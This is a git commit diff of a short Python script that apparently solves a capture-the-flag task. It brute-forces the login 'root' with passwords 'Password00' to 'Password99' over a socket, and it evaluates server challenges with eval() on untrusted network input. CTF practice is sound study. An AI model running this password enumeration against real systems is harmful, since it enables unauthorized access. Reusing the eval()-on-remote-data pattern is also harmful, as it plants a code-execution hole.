solved and updated with enumeration

This commit is contained in:
2024-11-09 23:02:43 +09:00
parent fd8082a740
commit 7f126ce5f8

View File

@ -6,27 +6,25 @@ PORT = 64984 # TODO
def get_flag():
for i in range(100):
time.sleep(2)
credentials = "root,Password"+str("%02d" % i)
print(credentials)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sf = s.makefile('rw') # we use a file abstraction for the sockets
print(sf.readline().rstrip('\n'))
tmp = sf.readline().rstrip('\n')
sf.write("{}\n".format(credentials))
sf.flush()
data = sf.readline().rstrip('\n')
resp = eval(data)
sf.write("{}\n".format(resp))
sf.flush()
result = sf.readline().rstrip('\n')
if "login" in result:
print(sf.readline().rstrip('\n'))
break
ans = sf.readline().rstrip('\n')
if "login" in ans:
res = sf.readline().rstrip('\n')
return res
except:
pass
if __name__ == '__main__':
get_flag()
print(get_flag())